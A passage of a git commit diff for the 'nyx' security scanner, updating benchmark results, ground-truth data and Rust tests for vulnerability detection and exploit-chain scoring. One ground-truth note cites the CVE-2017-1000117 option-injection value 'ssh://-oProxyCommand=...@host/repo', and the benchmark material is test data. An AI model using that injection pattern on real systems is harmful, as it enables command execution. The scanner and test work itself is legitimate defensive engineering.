apunkt/nyx
1
0
Fork 0
mirror of https://github.com/elicpeter/nyx.git synced 2026-06-18 20:15:14 +02:00
Code Issues Projects Releases Packages Wiki Activity

Dynamic (#77)

Browse source
This commit is contained in:
Eli Peter 2026-06-05 10:16:30 -05:00 • committed by GitHub
parent 55247b7fcd
commit 991c84a1eb
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
1464 changed files with 225448 additions and 1985 deletions
Download patch file Download diff file Expand all files Collapse all files

16
tests/benchmark/RESULTS.md
View file

@ -1,14 +1,14 @@
# Benchmark Results
Current baseline (2026-05-02):
Current baseline (2026-05-26):
| Metric | File-level | Rule-level | CI floor |
|-----------|------------|------------|----------|
| Precision | 1.000 | 1.000 | 0.861 |
| Recall | 1.000 | 1.000 | 0.944 |
| F1 | 1.000 | 1.000 | 0.901 |
| Recall | 0.996 | 0.996 | 0.944 |
| F1 | 0.998 | 0.998 | 0.901 |
Corpus: 507 cases across 10 languages, 504 evaluated (3 disabled). Per-run JSON lands in `tests/benchmark/results/` (`latest.json` plus dated snapshots). See `README.md` for what the scoring modes mean and how to run a subset.
Corpus: 565 cases across 10 languages, 564 evaluated (1 disabled). Per-run JSON lands in `tests/benchmark/results/` (`latest.json` plus dated snapshots). See `README.md` for what the scoring modes mean and how to run a subset.
The corpus is mostly synthetic 8-20 line fixtures, one vulnerability or one safe pattern per file. A smaller real-CVE replay set under `cve_corpus/` covers 30 published advisories across all 10 languages. Both contribute to the headline numbers.
@ -53,14 +53,14 @@ Real disclosed CVEs reduced to minimal reproducers, vulnerable + patched pair pe
| CVE-2024-32884 | Rust | gitoxide | Apache-2.0 OR MIT | CMDI | detected |
| CVE-2025-53549 | Rust | matrix-rust-sdk | Apache-2.0 | SQL Injection | detected |
| CVE-2016-3714 | C | ImageMagick (ImageTragick) | ImageMagick License | CMDI | detected |
| CVE-2017-1000117 | C | git (ssh:// argv injection)| GPL-2.0 | cmdi (argv-inj) | deferred |
| CVE-2017-1000117 | C | git (ssh:// argv injection)| GPL-2.0 | cmdi (argv-inj) | detected |
| CVE-2019-18634 | C | sudo (pwfeedback) | ISC | memory_safety | detected |
| CVE-2019-13132 | C++ | ZeroMQ libzmq | MPL-2.0 | memory_safety | detected |
| CVE-2022-1941 | C++ | Protocol Buffers | BSD-3-Clause | memory_safety | detected |
| CVE-2026-25544 | TypeScript | Payload (Drizzle adapter) | MIT | sql_injection | deferred |
| CVE-2026-25544 | TypeScript | Payload (Drizzle adapter) | MIT | sql_injection | detected |
| CVE-2026-42353 | JavaScript | i18next-http-middleware | MIT | path_traversal | detected |
Deferred entries are real bugs Nyx can't yet detect. The fixture stays committed with `disabled: true` in ground truth so the gap remains visible.
No real-CVE entries are currently deferred. If a future real-CVE fixture exposes a detector gap, keep it committed with `disabled: true` in ground truth so the gap remains visible.
### How CVEs get picked
@ -83,6 +83,8 @@ Most recent first. Metrics are rule-level on the corpus size at that point.
| Date | Change | Corpus | P | R | F1 |
|------------|------------------------------------------------------------------------------|--------|-------|-------|-------|
| 2026-05-26 | C argv-injection taint now propagates through execvp argv arrays while recognising the upstream `ssh_host[0] == '-'` dash-prefix rejection and ignoring env-derived executable-path argv elements; CVE-2017-1000117 re-enabled and detected, patched counterpart stays clean | 565 | 1.000 | 0.996 | 0.998 |
| 2026-05-26 | Benchmark docs corrected for CVE-2026-25544: the Payload Drizzle SQL injection fixture is enabled and detected in `ground_truth.json` | 565 | 1.000 | 1.000 | 1.000 |
| 2026-05-04 | C cvehunt session-0014: CVE-2017-1000117 (git ssh:// hostname-as-argv injection) added in corpus disabled — three-layer C engine gap: (a) array-element taint propagation through `args[i] = ssh_host;` writes, (b) missing `c.cmdi.exec*` AST patterns in `src/patterns/c.rs`, (c) sanitizer recognition of the upstream `if (ssh_host[0] == '-') die(...)` dash-prefix guard | 565 | 1.000 | 1.000 | 1.000 |
| 2026-05-04 | JS/TS array-method validator-callback narrowing (`try_array_method_validator_callback_narrowing` in `src/taint/ssa_transfer/mod.rs`) — `<arr>.filter(<isSafeXxx>)` / `.find` / `.findLast` strips `Cap::all()` from the call result when the callback resolves to a `BooleanTrueIsValid` validator; CVE-2026-42353 (i18next-http-middleware path traversal) re-enabled in ground truth, deferred queue cleared | 563 | 1.000 | 1.000 | 1.000 |
| 2026-05-04 | JS/TS ternary-RHS source-classification fix in `src/cfg/conditions.rs::lower_ternary_branch` (segment-strip first_member_label on the branch AST) — `let arr = cond ? req.query.lng : "";` now propagates taint through the diamond's join phi instead of lowering both branches to labelless Assign-with-empty-uses; CVE-2026-42353 (i18next-http-middleware path traversal / SSRF) added in corpus disabled — needs Array.prototype.filter(known_validator_callback) precision bridge | 561 | 1.000 | 1.000 | 1.000 |

22
tests/benchmark/ground_truth.json
View file

@ -5359,7 +5359,8 @@
"taint-unsanitised-flow"
],
"allowed_alternative_rule_ids": [
"c.cmdi.execvp"
"c.cmdi.execvp",
"cfg-unguarded-sink"
],
"forbidden_rule_ids": [],
"expected_severity": "HIGH",
@ -6078,7 +6079,8 @@
"taint-unsanitised-flow"
],
"allowed_alternative_rule_ids": [
"cpp.cmdi.execvp"
"cpp.cmdi.execvp",
"cfg-unguarded-sink"
],
"forbidden_rule_ids": [],
"expected_severity": "HIGH",
@ -11829,14 +11831,14 @@
"expected_category": "Security",
"expected_sink_lines": [
[
87,
87
95,
95
]
],
"expected_source_lines": [
[
92,
92
95,
95
]
],
"tags": [
@ -11845,8 +11847,7 @@
"argv-injection",
"cmdi"
],
"disabled": true,
"disabled_reason": "C taint engine does not propagate taint through C array-element writes (`args[i] = ssh_host;`) and has no `c.cmdi.exec*` AST pattern; even if such a pattern were added it would also fire on the patched fixture (precision miss) because the CVE is sanitised by a pre-call dash-prefix guard the engine does not classify as a validator. Three-layer deep fix tracked in CVE_DEFERRED.md.",
"disabled": false,
"notes": "CVE-2017-1000117 (git ssh:// argv injection): pre-2.7.6 git accepted `ssh://-oProxyCommand=...@host/repo` URLs and pushed the URL host as an argv element to ssh, where a leading dash was treated as an option flag. GPL-2.0"
},
{
@ -11877,8 +11878,7 @@
"patched",
"negative"
],
"disabled": true,
"disabled_reason": "Paired with cve-c-2017-1000117-vulnerable; precision side requires sanitizer recognition of the upstream `if (ssh_host[0] == '-') die(...)` guard so that adding any `c.cmdi.execvp` AST pattern would not also fire on the patched fixture.",
"disabled": false,
"notes": "CVE-2017-1000117 patched counterpart: dash-prefix gate added before argv assembly; regression guard that Nyx does not refire on the fix once the deferral lands"
},
{
@ -17800,4 +17800,4 @@
"notes": "Patched form of `sanitizeValue` from `@payloadcms/drizzle@v3.73.0` (MIT). Enabled after validated-flow propagation landed."
}
]
}
}

116
tests/benchmark/results/latest.json
View file

@ -1,6 +1,6 @@
{
"benchmark_version": "1.0",
"timestamp": "2026-05-11T15:19:43Z",
"timestamp": "2026-05-26T16:09:13Z",
"scanner_version": "0.7.0",
"scanner_config": {
"analysis_mode": "Full",
@ -9,10 +9,10 @@
"state_analysis_enabled": true,
"worker_threads": 1
},
"ground_truth_hash": "sha256:00a4629e50841ab26c7ba947adfdab43b909d72d7a0885d604e702cc56552eb4",
"ground_truth_hash": "sha256:4ec1e5ec0d72129f458db49b8aab8579a03e704ed6fe6e67ef45038924868420",
"corpus_size": 565,
"cases_run": 562,
"cases_skipped": 3,
"cases_run": 564,
"cases_skipped": 1,
"outcomes": [
{
"case_id": "c-buf-001",
@ -151,11 +151,11 @@
"outcome_rule_level": "TP",
"outcome_location_level": "TP",
"matched_rule_ids": [
"taint-unsanitised-flow (source 5:18)"
"cfg-unguarded-sink"
],
"unexpected_rule_ids": [],
"all_finding_ids": [
"taint-unsanitised-flow (source 5:18)"
"cfg-unguarded-sink"
],
"security_finding_count": 1,
"non_security_finding_count": 0
@ -680,11 +680,11 @@
"outcome_rule_level": "TP",
"outcome_location_level": "TP",
"matched_rule_ids": [
"taint-unsanitised-flow (source 5:18)"
"cfg-unguarded-sink"
],
"unexpected_rule_ids": [],
"all_finding_ids": [
"taint-unsanitised-flow (source 5:18)"
"cfg-unguarded-sink"
],
"security_finding_count": 1,
"non_security_finding_count": 0
@ -1126,6 +1126,40 @@
"security_finding_count": 1,
"non_security_finding_count": 0
},
{
"case_id": "cve-c-2017-1000117-patched",
"file": "cve_corpus/c/CVE-2017-1000117/patched.c",
"language": "c",
"vuln_class": "safe",
"is_vulnerable": false,
"outcome_file_level": "TN",
"outcome_rule_level": "TN",
"outcome_location_level": null,
"matched_rule_ids": [],
"unexpected_rule_ids": [],
"all_finding_ids": [],
"security_finding_count": 0,
"non_security_finding_count": 0
},
{
"case_id": "cve-c-2017-1000117-vulnerable",
"file": "cve_corpus/c/CVE-2017-1000117/vulnerable.c",
"language": "c",
"vuln_class": "cmdi",
"is_vulnerable": true,
"outcome_file_level": "TP",
"outcome_rule_level": "TP",
"outcome_location_level": "TP",
"matched_rule_ids": [
"taint-unsanitised-flow (source 95:12)"
],
"unexpected_rule_ids": [],
"all_finding_ids": [
"taint-unsanitised-flow (source 95:12)"
],
"security_finding_count": 1,
"non_security_finding_count": 0
},
{
"case_id": "cve-c-2019-18634-patched",
"file": "cve_corpus/c/CVE-2019-18634/patched.c",
@ -10041,29 +10075,29 @@
}
],
"aggregate_file_level": {
"tp": 274,
"tp": 275,
"fp": 0,
"fn_": 1,
"tn": 287,
"tn": 288,
"precision": 1.0,
"recall": 0.9963636363636363,
"f1": 0.9981785063752276
"recall": 0.9963768115942029,
"f1": 0.9981851179673321
},
"aggregate_rule_level": {
"tp": 274,
"tp": 275,
"fp": 0,
"fn_": 1,
"tn": 287,
"tn": 288,
"precision": 1.0,
"recall": 0.9963636363636363,
"f1": 0.9981785063752276
"recall": 0.9963768115942029,
"f1": 0.9981851179673321
},
"by_language": {
"c": {
"tp": 17,
"tp": 18,
"fp": 0,
"fn_": 0,
"tn": 17,
"tn": 18,
"precision": 1.0,
"recall": 1.0,
"f1": 1.0
@ -10170,7 +10204,7 @@
"f1": 1.0
},
"cmdi": {
"tp": 58,
"tp": 59,
"fp": 0,
"fn_": 0,
"tn": 0,
@ -10290,7 +10324,7 @@
"tp": 0,
"fp": 0,
"fn_": 0,
"tn": 284,
"tn": 285,
"precision": 1.0,
"recall": 1.0,
"f1": 1.0
@ -10343,31 +10377,31 @@
},
"by_confidence": {
">=High": {
"tp": 85,
"fp": 114,
"fn_": 190,
"tn": 173,
"precision": 0.4271356783919598,
"recall": 0.3090909090909091,
"f1": 0.3586497890295359
"tp": 81,
"fp": 118,
"fn_": 195,
"tn": 170,
"precision": 0.40703517587939697,
"recall": 0.29347826086956524,
"f1": 0.3410526315789474
},
">=Low": {
"tp": 85,
"fp": 142,
"fn_": 190,
"tn": 145,
"precision": 0.3744493392070485,
"recall": 0.3090909090909091,
"f1": 0.33864541832669326
"tp": 81,
"fp": 147,
"fn_": 195,
"tn": 141,
"precision": 0.35526315789473684,
"recall": 0.29347826086956524,
"f1": 0.3214285714285714
},
">=Medium": {
"tp": 85,
"fp": 133,
"fn_": 190,
"tn": 154,
"precision": 0.38990825688073394,
"recall": 0.3090909090909091,
"f1": 0.3448275862068966
"tp": 81,
"fp": 139,
"fn_": 195,
"tn": 149,
"precision": 0.36818181818181817,
"recall": 0.29347826086956524,
"f1": 0.3266129032258065
}
}
}

181
tests/c_fixtures.rs Normal file
View file

@ -0,0 +1,181 @@
//! C fixture integration tests (Phase 16 acceptance gate).
//!
//! Runs the dynamic verification pipeline against each C shape fixture and
//! asserts the expected verdict. Requires `--features dynamic` and `cc` on
//! PATH (override via `NYX_CC_BIN`).
//!
//! File layout per shape:
//! ```text
//! tests/dynamic_fixtures/c/<shape>/{vuln,benign}.c
//! ```
//!
//! Run with: `cargo nextest run --features dynamic --test c_fixtures`
mod common;
#[cfg(feature = "dynamic")]
mod c_fixture_tests {
use crate::common::fixture_harness::{Prerequisite, run_shape_fixture_lang_or_skip};
use nyx_scanner::dynamic::spec::PayloadSlot;
use nyx_scanner::evidence::{EntryKind, VerifyResult, VerifyStatus};
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
const CC_REQ: &[Prerequisite] = &[Prerequisite::CommandAvailableEnvOverride {
env_var: "NYX_CC_BIN",
default: "cc",
}];
fn assert_confirmed(shape: &str, result: &VerifyResult) {
assert_eq!(
result.status,
VerifyStatus::Confirmed,
"{shape}/vuln: expected Confirmed, got {:?} ({:?})",
result.status,
result.detail,
);
}
fn assert_not_confirmed(shape: &str, result: &VerifyResult) {
assert!(
matches!(
result.status,
VerifyStatus::NotConfirmed | VerifyStatus::Inconclusive
),
"{shape}/benign: expected NotConfirmed (or Inconclusive), got {:?} ({:?})",
result.status,
result.detail,
);
assert_ne!(
result.status,
VerifyStatus::Confirmed,
"{shape}/benign: must not confirm",
);
}
#[allow(clippy::too_many_arguments)]
fn run(
shape: &str,
file: &str,
func: &str,
cap: Cap,
sink_line: u32,
kind: EntryKind,
slot: PayloadSlot,
) -> Option<VerifyResult> {
run_shape_fixture_lang_or_skip(
CC_REQ,
Lang::C,
"c",
shape,
file,
func,
cap,
sink_line,
kind,
slot,
)
}
// ── main_argv ───────────────────────────────────────────────────────────
#[test]
fn main_argv_vuln_is_confirmed() {
let Some(r) = run(
"main_argv",
"vuln.c",
"nyx_entry_main",
Cap::CODE_EXEC,
23,
EntryKind::CliSubcommand,
PayloadSlot::Argv(0),
) else {
return;
};
assert_confirmed("main_argv", &r);
}
#[test]
fn main_argv_benign_not_confirmed() {
let Some(r) = run(
"main_argv",
"benign.c",
"nyx_entry_main",
Cap::CODE_EXEC,
11,
EntryKind::CliSubcommand,
PayloadSlot::Argv(0),
) else {
return;
};
assert_not_confirmed("main_argv", &r);
}
// ── libfuzzer ───────────────────────────────────────────────────────────
#[test]
fn libfuzzer_vuln_is_confirmed() {
let Some(r) = run(
"libfuzzer",
"vuln.c",
"LLVMFuzzerTestOneInput",
Cap::CODE_EXEC,
16,
EntryKind::LibraryApi,
PayloadSlot::Param(0),
) else {
return;
};
assert_confirmed("libfuzzer", &r);
}
#[test]
fn libfuzzer_benign_not_confirmed() {
let Some(r) = run(
"libfuzzer",
"benign.c",
"LLVMFuzzerTestOneInput",
Cap::CODE_EXEC,
10,
EntryKind::LibraryApi,
PayloadSlot::Param(0),
) else {
return;
};
assert_not_confirmed("libfuzzer", &r);
}
// ── free_fn ─────────────────────────────────────────────────────────────
#[test]
fn free_fn_vuln_is_confirmed() {
let Some(r) = run(
"free_fn",
"vuln.c",
"run",
Cap::CODE_EXEC,
15,
EntryKind::Function,
PayloadSlot::Param(0),
) else {
return;
};
assert_confirmed("free_fn", &r);
}
#[test]
fn free_fn_benign_not_confirmed() {
let Some(r) = run(
"free_fn",
"benign.c",
"run",
Cap::CODE_EXEC,
10,
EntryKind::Function,
PayloadSlot::Param(0),
) else {
return;
};
assert_not_confirmed("free_fn", &r);
}
}

1
tests/calibration_data_exfil.rs
View file

@ -102,6 +102,7 @@ fn make_diag(
rollup: None,
finding_id: String::new(),
alternative_finding_ids: vec![],
stable_hash: 0,
}
}

182
tests/chain_edges.rs Normal file
View file

@ -0,0 +1,182 @@
//! Phase 24 acceptance: each impact-lattice rule fires on a synthetic
//! finding + SurfaceMap pair.
//!
//! Mirrors the test plan in `.pitboss/play/plan.md` (Phase 24):
//! "Tests: `tests/chain_edges.rs` covers each impact rule on a
//! synthetic SurfaceMap." Each `#[test]` builds the minimal Diag(s)
//! that should trigger one rule, runs `findings_to_edges`, then
//! confirms that the resulting edge's primary cap (plus, where the
//! rule needs adjacency, a second edge's cap) classifies through
//! `lookup_impact` to the expected `ImpactCategory`.
//!
//! Lattice (from the design doc, paraphrased — Cap approximations
//! documented in `src/chain/impact.rs`):
//!
//! | Static caps | Impact |
//! |--------------------------------------|-------------------------|
//! | `CODE_EXEC` | `Rce` |
//! | `DESERIALIZE` | `Rce` |
//! | `SSRF` | `InternalNetworkAccess` |
//! | `OPEN_REDIRECT + UNAUTHORIZED_ID` | `SessionHijack` |
//! | `HEADER_INJECTION + CODE_EXEC` | `BrowserToLocalRce` |
//! | `FILE_IO + DATA_EXFIL` | `InfoDisclosure` |
use nyx_scanner::chain::edges::{ChainEdge, Reach, findings_to_edges};
use nyx_scanner::chain::feasibility::Feasibility;
use nyx_scanner::chain::impact::{ImpactCategory, lookup_impact};
use nyx_scanner::commands::scan::Diag;
use nyx_scanner::entry_points::HttpMethod;
use nyx_scanner::evidence::{Confidence, Evidence};
use nyx_scanner::labels::Cap;
use nyx_scanner::patterns::{FindingCategory, Severity};
use nyx_scanner::surface::{EntryPoint, Framework, SourceLocation, SurfaceMap, SurfaceNode};
fn diag_with_caps(path: &str, line: usize, caps: Cap) -> Diag {
Diag {
path: path.into(),
line,
col: 1,
severity: Severity::High,
id: "taint-test".into(),
category: FindingCategory::Security,
path_validated: false,
guard_kind: None,
message: None,
labels: vec![],
confidence: Some(Confidence::Medium),
evidence: Some(Evidence {
sink_caps: caps.bits(),
..Evidence::default()
}),
rank_score: None,
rank_reason: None,
suppressed: false,
suppression: None,
rollup: None,
finding_id: String::new(),
alternative_finding_ids: vec![],
stable_hash: 0,
}
}
fn synthetic_surface(handler_file: &str, route: &str) -> SurfaceMap {
let mut m = SurfaceMap::new();
m.nodes.push(SurfaceNode::EntryPoint(EntryPoint {
location: SourceLocation::new(handler_file, 1, 1),
framework: Framework::Flask,
method: HttpMethod::GET,
route: route.into(),
handler_name: "handler".into(),
handler_location: SourceLocation::new(handler_file, 2, 1),
auth_required: false,
}));
m
}
fn single_edge(diag: Diag, surface: &SurfaceMap) -> ChainEdge {
let mut edges = findings_to_edges(&[diag], surface);
assert_eq!(edges.len(), 1, "expected exactly one edge");
edges.pop().unwrap()
}
#[test]
fn rule_cmdi_alone_maps_to_rce() {
let surface = synthetic_surface("app.py", "/run");
let edge = single_edge(diag_with_caps("app.py", 12, Cap::CODE_EXEC), &surface);
assert_eq!(edge.primary_cap, Cap::CODE_EXEC);
assert!(matches!(edge.reach, Reach::Reachable { .. }));
assert_eq!(
lookup_impact(edge.primary_cap, None),
Some(ImpactCategory::Rce)
);
}
#[test]
fn rule_deserialize_alone_maps_to_rce() {
let surface = synthetic_surface("app.py", "/load");
let edge = single_edge(diag_with_caps("app.py", 7, Cap::DESERIALIZE), &surface);
assert_eq!(edge.primary_cap, Cap::DESERIALIZE);
assert_eq!(
lookup_impact(edge.primary_cap, None),
Some(ImpactCategory::Rce)
);
}
#[test]
fn rule_ssrf_alone_maps_to_internal_network_access() {
let surface = synthetic_surface("fetch.py", "/proxy");
let edge = single_edge(diag_with_caps("fetch.py", 4, Cap::SSRF), &surface);
assert_eq!(edge.primary_cap, Cap::SSRF);
assert_eq!(
lookup_impact(edge.primary_cap, None),
Some(ImpactCategory::InternalNetworkAccess)
);
}
#[test]
fn rule_open_redirect_plus_user_session_maps_to_session_hijack() {
let surface = synthetic_surface("auth.py", "/login");
let redirect = diag_with_caps("auth.py", 11, Cap::OPEN_REDIRECT);
let user_id = diag_with_caps("auth.py", 18, Cap::UNAUTHORIZED_ID);
let edges = findings_to_edges(&[redirect, user_id], &surface);
assert_eq!(edges.len(), 2);
let caps: Vec<Cap> = edges.iter().map(|e| e.primary_cap).collect();
assert!(caps.contains(&Cap::OPEN_REDIRECT));
assert!(caps.contains(&Cap::UNAUTHORIZED_ID));
assert_eq!(
lookup_impact(Cap::OPEN_REDIRECT, Some(Cap::UNAUTHORIZED_ID)),
Some(ImpactCategory::SessionHijack)
);
}
#[test]
fn rule_cors_plus_codeexec_maps_to_browser_local_rce() {
let surface = synthetic_surface("api.py", "/exec");
let cors = diag_with_caps("api.py", 3, Cap::HEADER_INJECTION);
let code = diag_with_caps("api.py", 14, Cap::CODE_EXEC);
let edges = findings_to_edges(&[cors, code], &surface);
assert_eq!(edges.len(), 2);
assert_eq!(
lookup_impact(Cap::HEADER_INJECTION, Some(Cap::CODE_EXEC)),
Some(ImpactCategory::BrowserToLocalRce)
);
}
#[test]
fn rule_path_traversal_plus_sensitive_io_maps_to_info_disclosure() {
let surface = synthetic_surface("files.py", "/download");
let trav = diag_with_caps("files.py", 5, Cap::FILE_IO);
let exfil = diag_with_caps("files.py", 9, Cap::DATA_EXFIL);
let edges = findings_to_edges(&[trav, exfil], &surface);
assert_eq!(edges.len(), 2);
assert_eq!(
lookup_impact(Cap::FILE_IO, Some(Cap::DATA_EXFIL)),
Some(ImpactCategory::InfoDisclosure)
);
}
#[test]
fn findings_without_sink_caps_are_dropped() {
let surface = synthetic_surface("a.py", "/");
let mut d = diag_with_caps("a.py", 1, Cap::CODE_EXEC);
d.evidence.as_mut().unwrap().sink_caps = 0;
let edges = findings_to_edges(&[d], &surface);
assert!(edges.is_empty());
}
#[test]
fn finding_in_file_with_no_entry_point_is_unreachable() {
let surface = synthetic_surface("app.py", "/");
let edge = single_edge(
diag_with_caps("internal_helper.py", 1, Cap::CODE_EXEC),
&surface,
);
assert!(matches!(edge.reach, Reach::Unreachable));
}
#[test]
fn feasibility_defaults_to_unverified() {
let surface = synthetic_surface("app.py", "/");
let edge = single_edge(diag_with_caps("app.py", 1, Cap::CODE_EXEC), &surface);
assert_eq!(edge.feasibility, Feasibility::Unverified);
}

316
tests/chain_emission.rs Normal file
View file

@ -0,0 +1,316 @@
//! Phase 25 — exploit-chain emission integration tests.
//!
//! Covers the design-doc example: a permissive-CORS finding plus an
//! unauthenticated entry-point plus a code-exec sink → one Critical
//! `BrowserToLocalRce` chain with three members. Also exercises
//! determinism (10 reruns produce byte-identical chain lists) and
//! SARIF-shape validation of the emitted `runs[0].properties.chains`
//! array.
use nyx_scanner::chain::finding::ChainSeverity;
use nyx_scanner::chain::impact::ImpactCategory;
use nyx_scanner::chain::{ChainEdge, ChainSearchConfig, find_chains};
use nyx_scanner::commands::scan::Diag;
use nyx_scanner::entry_points::HttpMethod;
use nyx_scanner::evidence::Evidence;
use nyx_scanner::labels::Cap;
use nyx_scanner::output::{build_findings_json, build_sarif_with_chains};
use nyx_scanner::patterns::{FindingCategory, Severity};
use nyx_scanner::surface::{
DangerousLocal, EntryPoint, Framework, SourceLocation, SurfaceMap, SurfaceNode,
};
fn loc(file: &str, line: u32) -> SourceLocation {
SourceLocation::new(file, line, 1)
}
/// Build the SurfaceMap for the design-doc scenario:
///
/// - One Flask entry-point at `app.py:1`, route `/ws`, method `POST`,
/// `auth_required: false` (the NoAuth half of CORS+NoAuth+websocket).
/// - One DangerousLocal sink at `app.py:30`, function `shell.exec`,
/// Cap::CODE_EXEC (the shell tool sink).
fn fixture_surface_map() -> SurfaceMap {
let mut m = SurfaceMap::new();
m.nodes.push(SurfaceNode::EntryPoint(EntryPoint {
location: loc("app.py", 1),
framework: Framework::Flask,
method: HttpMethod::POST,
route: "/ws".into(),
handler_name: "ws_handler".into(),
handler_location: loc("app.py", 2),
auth_required: false,
}));
m.nodes.push(SurfaceNode::DangerousLocal(DangerousLocal {
location: loc("app.py", 30),
function_name: "shell.exec".into(),
cap_bits: Cap::CODE_EXEC.bits(),
}));
m
}
/// Build the three constituent findings for the scenario:
///
/// - `d1` — permissive-CORS header injection at `app.py:10`.
/// - `d2` — auth-gap diagnostic at `app.py:15` (cfg-auth-gap; carries
/// `Cap::UNAUTHORIZED_ID` so the lattice has a third member, but the
/// primary chain match is HEADER_INJECTION + CODE_EXEC).
/// - `d3` — shell-exec taint finding at `app.py:25`.
fn fixture_findings() -> Vec<Diag> {
let mk = |line: usize, rule: &str, cap: Cap, sev: Severity| {
let ev = Evidence {
sink_caps: cap.bits(),
..Evidence::default()
};
let mut d = Diag {
path: "app.py".into(),
line,
col: 1,
severity: sev,
id: rule.into(),
category: FindingCategory::Security,
path_validated: false,
guard_kind: None,
message: None,
labels: vec![],
confidence: None,
evidence: Some(ev),
rank_score: None,
rank_reason: None,
suppressed: false,
suppression: None,
rollup: None,
finding_id: String::new(),
alternative_finding_ids: Vec::new(),
stable_hash: 0,
};
d.stable_hash = nyx_scanner::commands::scan::compute_stable_hash(&d);
d
};
vec![
mk(
10,
"cfg-cors-allow-all",
Cap::HEADER_INJECTION,
Severity::Medium,
),
mk(15, "cfg-auth-gap", Cap::UNAUTHORIZED_ID, Severity::Medium),
mk(25, "taint-shell-exec", Cap::CODE_EXEC, Severity::High),
]
}
fn build_chain_edges_for_route(findings: &[Diag], route: &str) -> Vec<ChainEdge> {
// findings_to_edges sets reach from the SurfaceMap; the design-doc
// scenario has every finding live in the same file as the entry,
// so the file-local reach resolver maps every edge to the entry.
let surface = fixture_surface_map();
let edges = nyx_scanner::chain::findings_to_edges(findings, &surface);
edges
.into_iter()
.map(|mut e| {
// Tighten the reach to the exact route so the DFS pairs
// each edge with the right entry deterministically.
e.reach = nyx_scanner::chain::edges::Reach::Reachable {
location: loc("app.py", 1),
method: HttpMethod::POST,
route: route.into(),
auth_required: false,
};
e
})
.collect()
}
#[test]
fn cors_plus_noauth_plus_websocket_emits_one_critical_chain() {
let surface = fixture_surface_map();
let findings = fixture_findings();
let edges = build_chain_edges_for_route(&findings, "/ws");
let chains = find_chains(
&edges,
&surface,
ChainSearchConfig {
max_depth: 4,
min_score: 0.0,
},
);
assert_eq!(
chains.len(),
1,
"expected exactly one chain, got {chains:?}"
);
let chain = &chains[0];
assert_eq!(chain.implied_impact, ImpactCategory::BrowserToLocalRce);
assert_eq!(chain.severity, ChainSeverity::Critical);
assert_eq!(chain.members.len(), 3, "expected three constituent members");
assert_eq!(chain.sink.function_name, "shell.exec");
assert_eq!(chain.sink.cap_bits, Cap::CODE_EXEC.bits());
}
#[test]
fn chain_set_is_byte_deterministic_across_10_reruns() {
let surface = fixture_surface_map();
let findings = fixture_findings();
let edges = build_chain_edges_for_route(&findings, "/ws");
let cfg = ChainSearchConfig {
max_depth: 4,
min_score: 0.0,
};
let first = find_chains(&edges, &surface, cfg);
let first_json = serde_json::to_string(&first).unwrap();
for i in 0..9 {
let again = find_chains(&edges, &surface, cfg);
let again_json = serde_json::to_string(&again).unwrap();
assert_eq!(
again_json, first_json,
"chain emission diverged on rerun {i}"
);
// stable_hash is a 64-bit fingerprint — verify it does not
// drift across reruns even when the JSON happens to match
// (defence in depth against accidental hash randomisation).
let again_hashes: Vec<u64> = again.iter().map(|c| c.stable_hash).collect();
let first_hashes: Vec<u64> = first.iter().map(|c| c.stable_hash).collect();
assert_eq!(again_hashes, first_hashes, "stable_hash drift on rerun {i}");
}
}
#[test]
fn json_output_carries_chain_member_of_back_references() {
let surface = fixture_surface_map();
let findings = fixture_findings();
let edges = build_chain_edges_for_route(&findings, "/ws");
let chains = find_chains(
&edges,
&surface,
ChainSearchConfig {
max_depth: 4,
min_score: 0.0,
},
);
let value = build_findings_json(&findings, &chains, None);
let chains_json = value["chains"].as_array().unwrap();
assert_eq!(chains_json.len(), 1);
let chain_hash = chains_json[0]["stable_hash"].as_u64().unwrap();
let findings_json = value["findings"].as_array().unwrap();
let with_back_refs: Vec<_> = findings_json
.iter()
.filter(|f| f.get("chain_member_of").is_some())
.collect();
assert_eq!(
with_back_refs.len(),
3,
"every constituent finding should carry chain_member_of"
);
for f in with_back_refs {
assert_eq!(f["chain_member_of"].as_u64(), Some(chain_hash));
}
}
#[test]
fn sarif_output_validates_against_v210_shape() {
let surface = fixture_surface_map();
let findings = fixture_findings();
let edges = build_chain_edges_for_route(&findings, "/ws");
let chains = find_chains(
&edges,
&surface,
ChainSearchConfig {
max_depth: 4,
min_score: 0.0,
},
);
let sarif = build_sarif_with_chains(&findings, &chains, std::path::Path::new("."));
// Surface-level v2.1.0 invariants — the SARIF schema requires
// these fields and we want a tripwire if any disappear.
assert_eq!(sarif["version"], "2.1.0", "missing or wrong version field");
assert!(sarif["$schema"].is_string(), "$schema must be a string");
assert!(sarif["runs"].is_array(), "runs must be an array");
assert_eq!(
sarif["runs"].as_array().unwrap().len(),
1,
"exactly one run"
);
let run = &sarif["runs"][0];
assert!(run["tool"]["driver"]["name"].is_string());
assert_eq!(run["tool"]["driver"]["name"], "nyx");
assert!(run["tool"]["driver"]["rules"].is_array());
assert!(run["results"].is_array());
// Phase 25 extension: chains land on run.properties.chains.
let chains_array = run["properties"]["chains"].as_array().unwrap();
assert_eq!(chains_array.len(), 1, "exactly one chain emitted");
// Every chain object carries the documented shape.
let chain = &chains_array[0];
assert!(chain["stable_hash"].is_number());
assert!(chain["members"].is_array());
assert_eq!(chain["members"].as_array().unwrap().len(), 3);
assert!(chain["sink"].is_object());
assert!(chain["implied_impact"].is_string());
assert_eq!(chain["severity"], "critical");
// Per-result `chain_member_of` cross-reference.
let results = run["results"].as_array().unwrap();
let with_back_refs = results
.iter()
.filter(|r| r["properties"].get("chain_member_of").is_some())
.count();
assert_eq!(
with_back_refs, 3,
"every constituent SARIF result should carry chain_member_of"
);
}
#[test]
fn determinism_across_input_permutations() {
// Same set of findings in two different orders must yield the
// same chain set (the composer canonicalises by stable_hash).
let surface = fixture_surface_map();
let findings = fixture_findings();
let cfg = ChainSearchConfig {
max_depth: 4,
min_score: 0.0,
};
let order_a = build_chain_edges_for_route(&findings, "/ws");
let mut findings_rev = findings.clone();
findings_rev.reverse();
let order_b = build_chain_edges_for_route(&findings_rev, "/ws");
let chains_a = find_chains(&order_a, &surface, cfg);
let chains_b = find_chains(&order_b, &surface, cfg);
let hashes_a: Vec<u64> = chains_a.iter().map(|c| c.stable_hash).collect();
let hashes_b: Vec<u64> = chains_b.iter().map(|c| c.stable_hash).collect();
assert_eq!(hashes_a, hashes_b);
}
#[test]
fn authed_entry_downgrades_to_rce_without_browser_local() {
let mut surface = fixture_surface_map();
// Flip auth_required on the entry — should downgrade the chain.
if let SurfaceNode::EntryPoint(ref mut e) = surface.nodes[0] {
e.auth_required = true;
}
let findings = fixture_findings();
